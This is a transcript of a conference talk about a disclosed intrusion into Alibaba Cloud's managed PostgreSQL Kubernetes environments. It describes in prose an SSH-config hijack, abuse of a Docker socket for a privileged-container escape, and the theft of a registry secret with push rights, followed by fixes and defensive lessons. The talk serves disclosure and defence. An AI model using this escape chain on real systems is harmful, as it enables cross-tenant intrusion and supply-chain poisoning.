 All right. Hello, everyone. Thank you very much for having me, and welcome to my talk. It's called the attacker perspective insights from hacking Alibaba Cloud's internal Kubernetes environments. And the story I'm going to tell you here today is kind of a unique story in the KubeCon view, because I'm not going to tell a Kubernetes story from the point of view of a developer, a DevOps person, or any of these things, but from the opposite point of view. How me as a hacker is looking on Kubernetes environments like real-life Kubernetes environments of Alibaba Cloud and trying to basically hack them, break them, and specifically how we were able to start from a database instance on Alibaba Cloud that belonged to us, contained our own data only. From there, we were able to gain control over the entire Kubernetes cluster and gain access to all the other customer's databases that use the same service on Alibaba Cloud. And not only that, but also we were able to gain right access to Alibaba's internal container registry containing all their images for different cloud services as well, poison their images with whatever malicious code that we wanted to insert into there, and have that code executed on all the other customer's databases as well, and on other cloud services on Alibaba Cloud too. So how do we do it? What sort of mistakes and bugs were we able to explore here to get this crazy level of privilege? And most importantly, how can you guys prevent yourselves from doing these similar mistakes when we're dealing with these sort of services? Let's dive right in. This is before we do. Allow me to introduce myself. My name is Eli Mesason. I'm also here on behalf of my teammate, Ronan Shustin. He couldn't be here with us, but he did a lot of the stuff that I'm going to talk about today. My name is Eli Mesason. As I said, my Twitter handle is very conveniently just at Eli. So if you want to hit me up there, I post cool research stuff from time to time. You're also very welcome to slide into my DMs. I am 24 years old, based in Israel. Very proud to be Jewish and very proud to be Israeli, especially during these tough times. And I am a security researcher as part of the WIS research team. What we do is basically cloud security related research, which translated means a lot of the time working with real life, big and complex Kubernetes and Docker-based environments in lots of different cloud services and cloud providers, such as Alibaba Cloud. Alibaba Cloud is the biggest cloud provider in the Asia Pacific region, and also generally a very big cloud provider. And just like the other cloud providers that you guys might know, Alibaba Cloud also offers a wide variety of managed database services to its customers. They come in all shapes, sizes, colors, and flavors. In this particular research, we decided to focus on particular one of them called Postgres SQL. Postgres SQL is a database. We chose that one because it's a very complex and feature-rich database. And on our experience, we found it to be relatively easy to exploit to gain code execution. Basically, what we found on previous cloud providers when working with Postgres SQL is that it's basically an open source project for databases that is inherently designed for on-premise environments. And all these cloud providers tried to modify it in order to be a cloud-based service-based solution. They did these sort of similar patterns of mistakes that we were able to exploit in many different cloud providers. If you're interested in learning more about those particular vulnerabilities, there is a link at the bottom of this slide. We have a very detailed blog about these vulnerabilities. And we also had a black hat to talk about this, which is quite interesting if that's what you're into. So we're not going to talk about that today. We're going to talk about Kubernetes. But just know that this is the reason we chose Postgres. So Postgres SQL is offered by two database services in Alibaba Cloud. One of them is called AnalyticsDB, which is sort of like the big data service that Alibaba provides. And otherwise, it's called EpsaraDB, RDS, which is just a regular database service. So let's talk about AnalyticsDB and how we hack that service. So we started out by creating a new database on our account and basically started looking for these vulnerabilities that just talked about these mistakes until we were able to gain code execution on one of these databases. And the first thing we asked ourselves after we gained code execution is, OK, we're running code on something. Where exactly are we running? What sort of infrastructure does the database have? We're running code on something somewhere, but what exactly is the underlying infrastructure? So we start looking at the file system, the processes, the network, et cetera, et cetera, until we figure out that this is a Kubernetes environment. Our database instance runs on a Kubernetes pod, which, of course, begs the question, how could we actually escape that pod? We don't want to be chained. We don't want to be in the matrix. We want to break out of jail and see what actually happens on the infrastructure of what we're doing. So how do we break out of prison? Basically, whenever we try to escape out of containers, we try to look for these similar patterns of mistakes that people usually make when configuring Docker containers that we can exploit in order to break out. So one of the popular things that we would be looking for, for example, is high permissions within the container, like what sort of permissions and Linux capabilities maybe does our user have that we can try to exploit? So in this case, we did not run as root. We ran as a user called adbpgadmin. It was, quite frankly, just a weak user. It was kind of a loser. It didn't have access to anything interesting. It didn't have any sort of permissions or capabilities that we were able to exploit, so that one was kind of a hit on the wall. The other thing we try to look for is any sort of shared namespaces. Do we have a PAD namespace, a mountain namespace, a network namespace that we share with anything else that we can try to exploit for our own good? In this case, we had none. So nothing, this was also quite of a dead end. Another thing that we try to look for is any sort of shared resources, and in this case, we actually found a persistent volume storage, which was our home directory. It was slash home slash adbpgadmin. This was a persistent volume storage, and this was the first maybe interesting find that we found, but it wasn't that interesting, because that folder was not particularly an interesting folder, it was just our home directory. It mostly contained the Postgres SQL data, our own database data, which had to be persistent because that's the service, but it didn't actually give us anything meaningful. So at this point, we looked at this list that you're seeing behind me, and we tried to ask ourselves, we took a hard look at the mirror and tried to ask ourselves, so what do we have here? Ultimately, the answer was nothing. We didn't really have anything interesting. As you can see here, our user is weak. We do not have any shared namespaces. We only have one persistent volume storage that we don't really have anything to do without, so we really did have nothing on our hands at this point. So we decided to go back to the drawing board and do what any good security researcher does best, and don't tell anyone because it's sort of a trade secret, but what a good security researcher does, a big percentage of the time, is just click on random buttons until something interesting pops up. So we decided to do just that. So we're back to the Alibaba Management Console. As you can see, there are a lot of buttons going around, so we decided to just click all of the buttons until something interesting will inevitably pop up, and then something interesting popped up. This toggle that you see here is labeled SSL Encryption, and as we saw that, that looked really interesting to us because SSL Encryptions implies that there has to be some sort of SSL certificate being installed. The certificate is a file, and when you do all these actions with files, you open up lots of interesting attack surfaces like symlink attacks, like fastest of permissions, all these sorts of stuff. This looked like an interesting direction to us. So we clicked on that toggle, and we clicked OK, and suddenly bam, all sorts of interesting stuff started to happen within our container, all these new processes started popping up. So we were like, OK, stuff is happening, that's very exciting, what exactly is happening? So let's go over these processes one by one. First process we see here is Run C in it, which is very exciting because it means a new container is being created, is being spawned, which is always exciting to see, but what exactly do we see that process here? It's a different container, why exactly do we actually see the Run C command? Well, the answer is that it must mean that we show this MPID namespace because we can see all the processes that are running within that container, it means that our container and that new container being spawned share a PID namespace. Great, let's move on to the second one. The second one is a Python script that is being run from that new container. It's running from a script that is on slash opt, but we wanted to see that script, so we went to slash opt and that script was never there. Quite weird, what does that mean? Well, that means that we have a different mountain namespace. Our containers slash opt and that new container slash opts are different folders, we cannot see that script, that means we have different mountain namespace. Cool, moving on. Third commanding run is making a new directory under our home directory under home pgadmin, and when we looked at that folder, we saw that the folder was indeed created, which means we have the same slash home slash adbpgadmin, which means we have a share of volume. That's exciting, we have another thing in common with that new container, that's cool. And finally, the last command of this script runs is the scp command. This command actually does not run as root, it runs as us, it runs as the adbpgadmin user. Okay, so scp, what the hell is that? So scp stands for secure copy protocol. Basically it's a utility for transferring files over an SSH connection between machines. That's how Alibaba chose to move the system from their machine to ours. And this is interesting to us because we thought, okay, if there is an SSH connection being created, then SSH will have to read the SSH configuration. But because this runs as our user, not as root, then the SSH configuration will be loaded from our home directory, slash home slash adbpgadmin. So we can write an SSH configuration, the scp will load it, and it will listen to everything that happens inside it. So we're like, okay, we might control an SSH configuration, what can we do with that? So we'll ask ourselves all these theories, maybe we can add a new library and do some sort of SO hijacking thing, inject ourselves to the SSH D process, et cetera, et cetera. But in reality, there's just a configuration called local command, it takes the command and it runs it, which is very, very convenient. Shout out to OpenSSH for that amazing configuration option. So basically we added this to our config file and then whenever scp runs and loads that configuration, our command will be executed. So little recap, we had our own container, the PostgreSQL container, right nearby that we had the Alibaba management container, both of those share the same home directory and the adnm space. Whenever that container will go to run the scp command on our container, it will load our malicious SSH configuration and bam, now we're running code on the Alibaba management container as well. So what does this management container actually contain? We're running a machine, we'll try to figure out what exactly we're looking at here, we'll try to look at files, processes, whatever, in this case mostly files, because that's the thing that was different between the two containers. And imagine our surprise when we came across the slash run directory and saw this file right here, docker.soc. We all know docker. How docker works behind the scenes is basically you have the docker API, it listens in to get all these commands, like run, create a new container, create a new image, point a new blah blah blah and it listens to these commands and performs them. It can listen on either a TCP connection or a Unix socket, which is a file just like this one, docker.soc, which means if we have access to write to that file, we can write docker API commands and the docker API is supposed to run them. So we're like, okay, fantastic. Let's create a new, let's send a command to docker API asking the docker API to run a new privilege container. Now the host run our own commands on a new privilege container, would that work? Well, it did. We ran a command, we were able to get a new privilege container and got a reverse shell back from the Kubernetes node itself. We got a new scary error message saying that it's like a production server. So, seems like we were successful. Let's have a little recap again on how we escaped that Kubernetes node. We started out with executing code on our own database, our own PostgreSQL instance. From there we were able to spread to this neighbor container, the Alibaba management container through the SAP trick. From there we were able to access docker API, create a new privilege container and once we were a privileged container we had access to run code over the entire Kubernetes node. Cool, so now you control the Kubernetes node. What exactly is on that Kubernetes node? So we started looking around and realized that this node did not contain anything besides our own data in it. We didn't see any evidence for other customers data which means that on this service each customer database runs on a different Kubernetes node. Basically this is the way for Alibaba to separate between different customers. So that means that even after we did all this escape and we control the entire Kubernetes node we still don't have any direct access to other customers data. Or do we? So, it's worth noting that if you're using Kubernetes for separation of nodes there is still one thing that keeps them together although theoretically separate which is Kubernetes itself. Kubernetes links all these nodes together through the Kubernetes API sort of complicates your, you know tenant isolation architecture. So after just, okay, we're a node in a Kubernetes cluster we have a service account. What exactly can a service account do? So we tried listing the pods and immediately we saw that something was fishy because we did not only see our own pods but we also saw other customers pods as well. So we realized, okay, this might be a strong service account what else can we do? Besides seeing the pods we were also able to see all the images that were used to create all of the spots basically all the templates that were used to create them. And the more interesting thing is that all these images used the same secret a Docker image pool secret that were basically the credentials for Docker to log into the container registry and fetch images. So we had access to that secret meaning we had credentials to log into Alibaba's internal Docker container registry. So we were like, okay, we have credentials to the Docker registry. What sort of credentials are they exactly? So we decided to check what sort of access token we get in these credentials. So we got this access token. And if you have very sharp vision from right there in the crowd you might notice that this token did not only allow pull but also push permissions. Meaning that we can push we can take our own images and push them into the internal container registry and basically poison every single image internal image on Alibaba Cloud whether it be our own service different services, insert whatever malware or custom code that we want to run and every single image on Alibaba Cloud every single container on Alibaba Cloud is created from that image we'll run our own code in it. Okay, a little recap. It's gonna be nice video. Nice video Jason. So we started out us as an attacker with our own Puskas SQL instance. We managed to run code on that with the Puskas SQL vulnerability and from there we were able to escape to the underlying node run code on the underlying Kubernetes node was we had access to that node we had access to communicate with the Kubernetes API server so we managed to fetch the Docker image pull secret using that secret we connected to Alibaba's internal Docker container registry and we were able to push our own malicious image and then that image would be pulled by every other analytic DB on Alibaba and not only that, it will also be pulled by a myriad of other Alibaba services for example, App Store DB that we talked about will also pull their images from our control registry and we will be able to basically run our arbitrary code on every single one of them. All right, so we're talking about analytic DB. Let's also talk a little bit about App Store DB the other database service that Alibaba provides. So App Store DB RDS, how are we able to escape from that one too? So it was kind of similar, but also not. We started out with the same exact vulnerability we were able to run code on our Puskas SQL instance from there we were able to similarly escape to a Alibaba management container. However, this time this management container was in itself a privileged Docker container. So we then have to do any extra steps. We were all the privileges so we were able to take over the entire Kubernetes node. So now we're on a different Kubernetes node it's a different service, a different infrastructure and we started to look around trying to figure out what does this node have? What exactly does it control? And imagine our surprise when we looked around and saw tons of other customers databases on the exact same node. Meaning that on App Store DB Alibaba does not separate between customers node it only separates between pods. So the minute that we managed to escape to the Kubernetes node we were already able to access other customers databases. So those are basically the vulnerabilities that we found in both Puskas SQL services in Alibaba Cloud. We reported all of them to Alibaba they responded very professionally and they applied multiple fixes. First of all they fixed all the vulnerabilities and misconfiguration that we just talked about obviously. They also interestingly created a new internal internally developed safe container technology similar to Google's GVisor but now Alibaba internal one. They applied it to all those containers as a matter to harden them. Basically make it harder for people to escape out of those containers. And finally they also restricted and scoped the nodes permission the service accounts permission within the Kubernetes cluster and also obviously the container registry permission so that people won't have right access anymore. All right let's talk a little bit about what went wrong here exactly. What sort of mistakes and bugs were we able to exploit here in order to get these permissions? The first mistake that happened here is first of all the unsafe namespace sharing between our container and the other container. Basically whenever you share a network namespace a PID namespace and mild namespace between a weaker container and a stronger container you're inherently weakening the container security because you're making the attack surface bigger. Whenever you intervene with our container you should know it's obviously a risky thing to do. You should do it with extreme caution and with low privileges as possible. The second mistake happening here is using the container as the sole security barrier between customers data between different tenants. Whenever you use container as a security barrier you should be aware of what exactly is needed for an attacker to bypass that security barrier. When using containers you're first of all prone to any sort of misconfiguration or unsafe resource sharing which is exactly what you saw here today. But not only that it's also worth mentioning that when you're using container as a security mechanism you're also exposed to any Linux kernel vulnerabilities. Because Linux kernel is the one that is responsible for basically enforcing those policies that means that whenever there is any Linux kernel vulnerability or one day that is not that uncommon in today's world whenever you manage to run code on the kernel you're also able to escape from the container. So all the attacker needs to do to bypass that security barrier is one of those two things. So it's worth mentioning that when choosing security barriers what exactly is needed for a skilled attacker to bypass them which is in that case not necessarily that much. Third thing went wrong here is the strong Docker registry credentials which also had write permissions. It's worth mentioning when you create a secret that is that powerful that any service account that has secrets permissions, pod permissions within the Kubernetes environment can potentially obtain them. And whenever it's obtained they can pose kind of unique risk that crosses different environments because both productive environment, their environment build test and even developers workstations all those people are pooling images in order to work. So whenever you can control a internal container registry it allows you to spread within all these different environments which normally an attacker wouldn't be able to do so easily. If you're interested in tent isolation in general there's a great resource that I highly recommend it's called Peach. It's basically an open source framework that is used for modeling and improvement, standardization and SaaS and pass applications. It was developed with the help of excellent people for great companies such as yourself so contributors are always appreciated. If you're working with multi-talented environments or even creating multi-talented environments I think it's a very good resource to consult with in order to make sure that you're separating things properly. And also if you know things that we don't then contributions are very appreciated. It's available at peach.wizio if you're interested in reading more. If you're interested in this research more I just know that basically what I told you here there was kind of just the tip of the iceberg. We have a very detailed blog about all the vulnerabilities and stuff that I didn't even get to touch on on it's called broken system. It's the top QR code here and if you're like that then we also had a very similar research on IBM cloud on a different cloud provider where we also were able to do some sort of supply chain poisoning. That's the bottom QR code right here. Highly recommended read, broken system and hell's key chain. All right, let's sum things up with some takeaways. First of all, it's worth noting that whatever you introduce Kubernetes cluster, Kubernetes pods to a multi-talent environment it's sort of complicated to security model because it provides additional attack surface. It provides the attacker with access to stuff like identity, service cal, share resources, network resources that are always better for expanding your attack surface. So it doesn't mean that you should never introduce Kubernetes to a multi-talent security environment but you should be aware of the risk that it poses and the new attack surface that it creates. The second thing is that containers should never be the sole security barrier. It should never be the only line of defense because it can be broken with, as we saw today, stuff that doesn't necessarily require a super skilled attacker. It can be a line of defense but it shouldn't be the only one and another thing that's worth mentioning that is whenever you use containers as security barrier you should definitely take a look into safe container technologies. Google has a very good project mapping and called GVisor. It's basically sort of a safe container solution to help make a very hardened container, stuff that is much harder to escape from than a non-hardened one. So if you're using containers as security barrier you might as well make them hardened. And finally, this is sort of a generic takeaway but it's also very relevant here. Pentes your internal environments. Assume that people will gain access to customer pods and start to work your way up from there to start to try to see what the attackers might be able to see. Let's hope that it won't be an access to overwrite every single image on your internal container registry. All right, thank you very much. Any questions? Thank you. If anyone has any questions you can go to the microphone. Just out of curiosity, why was the Docker socket available in that image that you were shared with? That's a good question. I can't really explain why because I didn't really build that environment but I think that because it was so many hops inside it was a more trusted environment. Like in the second case it was even more of a trusted environment because even the management container was in itself privileged. It was, I think that lots of times people assume that as long as the stuff you're building is more internal, is more business internal then it won't be, it doesn't have to be as hardened but that's always a mistake because it's always barriers upon barriers, right? When ever the first barrier is broken and you get the second one then you have to make new defenses. So I can only assume that's the why. When you pushed to ECR was there no audit that would have caught that unauthorized access? That's a good question. We did not obviously push any sort of malware but basically we just tested our login and managed to see that our token had push access. We later talked to Alibaba and they confirmed that it wasn't the push access just like we thought. We were able to operate all the files but we didn't actually try to do that in real life because that might be actually dangerous and we don't want to damage the actual production environment of Alibaba. But yeah, they also interestingly enough they said that during our research there was some sort of alert going on on a very specific part of the intervention which was the Postgres SQL code execution. They said that this is the part that they noticed. We started doing basically our entire thing there but we got rid of that pretty quickly. Like even after running code on the Postgres we managed to go to the other container and to the Kubernetes node. So we didn't really need that afterwards but they said that this was the part that they noticed internally. Thank you. Thank you. And you mentioned you did it pretty quickly but like how quickly? Is it like days, hours? Not hours, but yeah, it was days pretty much. It was like a week plus minus that entire story. Thank you. Thank you. Thank you, a great talk. Thank you. You did mention that there was an alert, right? What would have the incident responders do that would have stopped you? Like they got alert now. Could they have taken your role? I don't know. Like you have already controlled the Kubernetes cluster. So what action could they have taken to kind of break your steps? Thank you. That's a great question. I think that when they said that what they noticed was the Postgres SQL code execution that means that they can fix it. They did fix it, eventually, of course. You could try to limit the Postgres SQL permissions. You could try to even close the code execution vulnerability entirely. But the thing is that at that point, whenever you, at that point that they noticed us, at this point we were all pretty deep in, right? We managed to get rid of the Postgres SQL as a necessity because we were all running on the node. So at that point I think the smartest thing to do is after you patched the vulnerability and you maybe closed the access to actually try to consult your IR solutions to see what sort of stuff do we manage to do after running code in the Postgres SQL because it's naive to think that whatever this first line of defensive breach, that this is the last thing we did, right? We must have done something else. So if they were able to see all the commands that we run and all the things that we moved out early, they were able to maybe catch up the stuff that we did after and try to close all the rest of the stuff that we did after this. I don't know if they were able to get that conclusion before we reported it to them because in this case we reported it to them. But it's a good question on what happens when a bad guy does this, how will they be able to track the process that happens after Postgres because Postgres is not enough to close just this one vulnerability. So interesting discussion there. Hey. I've got a question that sort of Postgres extended where you've got basically a single tenant service that you're scaling to multi-tenants. And what's the best practice for isolation? So clearly pod-based isolation, unless if you really know what you're doing and are also lucky, that's a dangerous path. No-based isolation, also you pointed out has problems. Separate clusters, separate projects if you're on a hyperscaler and like separate GCP projects or where do you think that line is on where the isolation should be? That's a good question. I think that whatever you introduce like a security barrier or sort of a, something that separates between something and another, you need, what you need to think is what is needed to break that isolation because there's always something that you can do to break that isolation if it's a Kubernetes cluster then you would have to have permissions within the Kubernetes cluster. You have to have an upper-ledged service account, et cetera, et cetera. If it's, for example, an actual VM, right? A virtual machine, then it's still not unbreakable. You would just have to have a guest to host a vulnerability, which might be harder to find than a little sort of vulnerability just by judging what days that are coming out. And even if you have, let's go for the craziest part, you have two physical machines that are connected, actual pizza boxes connected to sockets. Even then, you would have probably some sort of network acts between them. Even then, you could, I don't know, plug USB into one of them, right? But I think that what you have to consider is how hard would you want it to be for an attacker to break out and what exactly does an attacker need to have in order to break out? Because there will always be something. There will be a Linux kernel vulnerability, or there will be a misconfiguration, a guest to host vulnerability, et cetera, et cetera. And as long as you go further deep, it might be more hard to maintain and more costly, but it will also be harder to break off, right? And that's, I think, the trade-off, like the cat and mouse game here. Thank you. Thank you. Hey. Just a little continuation on the monitoring question there. So you mentioned, obviously, it's important to follow up on that stuff. But any sort of guidelines surrounding that? As far as, do we know if there are projects within CNCF or anything else? Kind of, inevitably, we will screw up the configuration and everything else, right? So it's good to have best practices, but can we attack it from both sides and say, well, we're gonna do the best to configure it, but we're also gonna make sure that we're monitoring and have the observability in place because you would notice that they saw it, but it didn't sound like they had enough in place to really maybe see it fast enough or follow through, right? So any recommendations from that end that are more standardized or with tools, aside from just do it better? That's a great question, honestly. I think that generally in security, when you try to be able to secure an environment, you have to do both things, right? You have to both prevent and also both prevent and monitor. You wanna prevent by building, I think that framework, the Peach framework, is a great resource for preventing, for designing better, more secure systems, but in addition to that, you also have to monitor very well, and I think in this case, the stuff that I don't have a specific tool in mind, but I think in this case, the sort of stuff that would have maybe caught us is both stuff that monitors processes being created. If you have, for example, a log of every single process being created, you might have seen all the stuff that we were running on the container. Another thing that might have caught the eye of someone is network-based monitoring because we did make network connections. We did make, in our case, reverse shells, and you suddenly see a reverse shell coming out of the Postgres instance, but then again, you see it coming out of the management container, and then you see another reverse shell coming out of the Kubernetes cluster, and the Kubernetes node, sorry. So network-based detection would probably caught what we were doing as well. Unfortunately, I don't have a tool off the top of my head, but it's important to, as you said, both monitor and protect and defend. Thank you. Thank you. All right, thank you very much. If you have any other questions, feel free to just come up or send me a message on Twitter, whatever you feel more comfortable, and thank you very much for coming. Thank you very much for having me. I appreciate it. Thank you.